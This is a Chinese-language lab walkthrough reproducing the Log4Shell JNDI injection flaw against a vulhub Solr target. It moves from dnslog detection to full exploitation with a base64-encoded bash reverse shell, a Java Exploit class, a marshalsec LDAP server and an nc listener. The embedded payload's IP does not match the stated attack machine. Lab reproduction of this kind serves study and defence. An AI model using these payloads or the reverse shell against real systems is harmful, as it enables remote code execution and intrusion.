漏洞原理

log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。

例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制,就有可能让查询指向任何服务(可能是攻击者部署好的恶意代码)。

攻击者可以利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的.class对象,造成了远程代码执行(可反弹shell到指定服务器)。

靶场搭建

靶机: centos7  192.168.110.130

攻击机:Debian 192.168.110.161

搭建网站(此处用的是github的vulhub搭建,靶场地址:vulhub)

进入项目 vulhub-master/log4j/CVE-2021-44228

执行命令启动靶场:docker-compose up -d(使用docker-compose需先安装该工具)

查看靶场端口(此处端口是8983)

成功打开网站,靶场搭建成功。

漏洞检测

使用dnslog回显检测漏洞,网站:dnslog.cn

1)点击get subdomain获取一个子域名。

2)构造payload测试漏洞。

网站目录/solr/admin/cores?有个参数可以传,在此构造payload,测试输出java版本。

?action=${jndi:ldap://此处可变.d0ztyf.dnslog.cn},构造完payload然后访问。

http://192.168.110.130:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.d0ztyf.dnslog.cn}

3)下一步打开dnslog测试网站,点击refresh recode,成功获得java版本信息。(1.8.0_102就是网站服务站java版本信息。)

漏洞利用

这一步有两种方法,一种是使用工具(工具更简单),一种是手敲(更复杂一些),这里用手敲。

此处分五步骤,分别是:编写exp、开启http服务、开启ldap、建立nc监听、jndi注入。

编写exp

1)首先,因为要反弹shell到我们的攻击机,所以对应的bash指令就是:

bash -i >& /dev/tcp/192.168.110.161/7777 0>&1

2)需要先对该条指令进行base64编码:

编码结果:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xNjEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}

3)开始编写exp

import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
     public Exploit(){
             try{
                 Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}");
                                }catch(Exception e){
                                            e.printStackTrace();
                                             }
                }
         public static void main(String[] argv){
                         Exploit e = new Exploit();
                            }
}

4)把该恶意文件编译成class文件(注意,一定要保证java和javac版本一致,不然最后一步没有回显),把该class文件放在攻击机的一个空文件夹下。

开启http服务

1)在有exp的class文件下执行以下代码:

python -m http.server 4444

2)测试http网站

只要保证站点目录里有exploit.class文件就可以。

启动LDAP服务

1)这里使用一款工具(marshalsec-0.0.3-SNAPSHOT-all.jar)快速开启LDAP服务,

工具获取地址:https://www.cnblogs.com/cute-puli/p/14373826.html

ldap启动指令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  "http://刚才http服务的地址:端口号/#Exploit" 1389

建立nc监听

此处使用指令:nc -lvvp 7777

jndi注入

访问网站

此时查看攻击机:

 复现成功。

更多推荐